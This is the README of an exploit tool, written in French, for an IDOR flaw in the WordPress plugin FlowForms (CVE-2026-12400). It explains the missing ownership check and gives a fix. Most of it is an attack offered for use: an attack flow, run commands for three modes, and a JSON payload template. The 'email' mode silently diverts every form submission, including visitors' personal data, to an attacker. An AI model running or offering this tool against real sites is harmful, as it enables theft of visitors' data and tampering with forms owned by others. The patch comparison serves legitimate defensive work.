
Exploit Python pour CVE-2026-12400, une vulnérabilité IDOR dans le plugin WordPress FlowForms permettant à des contributeurs authentifiés de modifier des formulaires arbitraires et de détourner les notifications par e-mail.
| Propriété | Valeur |
|---|
| CVE ID | CVE-2026-12400 |
| Score CVSS | 4.3 — Moyen |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Contournement d'autorisation via clé contrôlée par l'utilisateur) |
| Produit | FlowForms — Plugin de constructeur de formulaires conversationnels WordPress |
| Versions affectées | Toutes les versions jusqu'à 1.1.1 inclus |
| Corrigé dans | Corrigé dans 1.1.2 |
| Chercheur | Phantom Hat |
Étude de cas white-box complète avec analyse du code source, traçage du flux d'entrée et comparaison des correctifs :
FlowForms expose deux points de terminaison d'API REST sous l'espace de noms flowforms/v1 qui sont vulnérables :
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Les deux acceptent un {id} contrôlé par l'utilisateur dans le chemin d'URL et modifient les données du formulaire cible — nom, contenu, mise en page, URL de redirection et destinataires des notifications par e-mail.
Les deux enregistrements de route vulnérables partagent le même permission_callback défectueux :
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts est une capacité détenue par les Contributeurs. Le paramètre {id} n'est jamais vérifié par rapport à la propriété de l'utilisateur demandeur — tout utilisateur authentifié peut cibler n'importe quel ID de formulaire sur le site.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| Mode | Endpoint | Impact |
|---|---|---|
name | /forms/{id} | Renommer n'importe quel formulaire — défiguration, ingénierie sociale |
content | /forms/{id} | Écraser la mise en page, les écrans de bienvenue/remerciement, l'URL de redirection |
email | /forms/{id}/settings | Détourner l'e-mail de notification — recevoir silencieusement toutes les soumissions de formulaire |
Le mode email est le plus critique. Après le détournement, chaque soumission au formulaire de contact de la victime — y compris les données personnelles des visiteurs, les messages et les coordonnées — est silencieusement transmise à l'adresse contrôlée par l'attaquant. L'administrateur du site ne voit aucune indication du changement.
Contributeur sur le site ciblegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Renommer n'importe quel formulaire avec un contenu contrôlé par l'attaquant :
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Écraser la mise en page du formulaire, les écrans, l'URL de redirection et les images d'arrière-plan :
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Rediriger toutes les futures notifications de soumission de formulaire vers une adresse contrôlée par l'attaquant :
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Option | Abrév. | Description | Requis |
|---|---|---|---|
--url | -u | URL WordPress cible | ✅ |
--user | Nom d'utilisateur WordPress (Contributeur+) | ✅ | |
--password | Mot de passe WordPress | ✅ | |
--id-start | -i | ID de formulaire de départ pour l'énumération | ✅ |
--num-forms | -n | Nombre d'IDs de formulaire à énumérer | ✅ |
--exploit | Mode d'attaque : name / content / email | ✅ | |
--proxy | -p | URL du proxy (ex. http://127.0.0.1:8080) | ❌ |
Les modèles de charge utile JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) sont définis en haut du script. Modifiez-les avant l'exécution pour personnaliser le contenu de l'attaque — changez l'adresse e-mail de notification, l'URL de redirection, l'image d'arrière-plan, le titre du formulaire, etc.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
L'exploit effectue trois étapes automatisées :
Étape 1 — Authentification
Se connecte en tant qu'attaquant (Contributeur) et récolte un nonce d'API REST valide depuis wp-admin/post-new.php.
Étape 2 — Énumération des formulaires
Scanne GET /flowform/{id} sur la plage d'IDs spécifiée. Les IDs retournant HTTP 200 sont collectés comme cibles accessibles — ce sont des formulaires publiés appartenant à n'importe quel utilisateur du site, y compris les administrateurs.
Étape 3 — Exploitation Selon le mode sélectionné, envoie la charge utile correspondante au point de terminaison REST non protégé :
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsLe serveur accepte la demande et applique la modification sans vérification de propriété.
| Action | Détails |
|---|---|
| Correctif | Remplacer la vérification générique edit_posts par current_user_can('edit_post', $form_id) sur les deux points de terminaison — lier la vérification de capacité à l'objet de publication spécifique applique les règles de propriété de WordPress |
| Atténuation | En attendant le correctif, restreindre les rôles Contributeur et Auteur si le plugin est actif |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Polished exploit with rich UI (3 modes)
├── requirements.txt # Python dependencies
└── README.md # This file
Cet outil est fourni uniquement pour des tests de sécurité autorisés et des fins de recherche éducative. L'accès non autorisé aux systèmes informatiques est illégal en vertu des lois applicables dans le monde entier. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. Obtenez toujours une autorisation écrite explicite avant de tester tout système qui ne vous appartient pas.
Phantom Hat — Chercheur en sécurité indépendant
Cette recherche a été menée dans le cadre d'une divulgation responsable de vulnérabilité.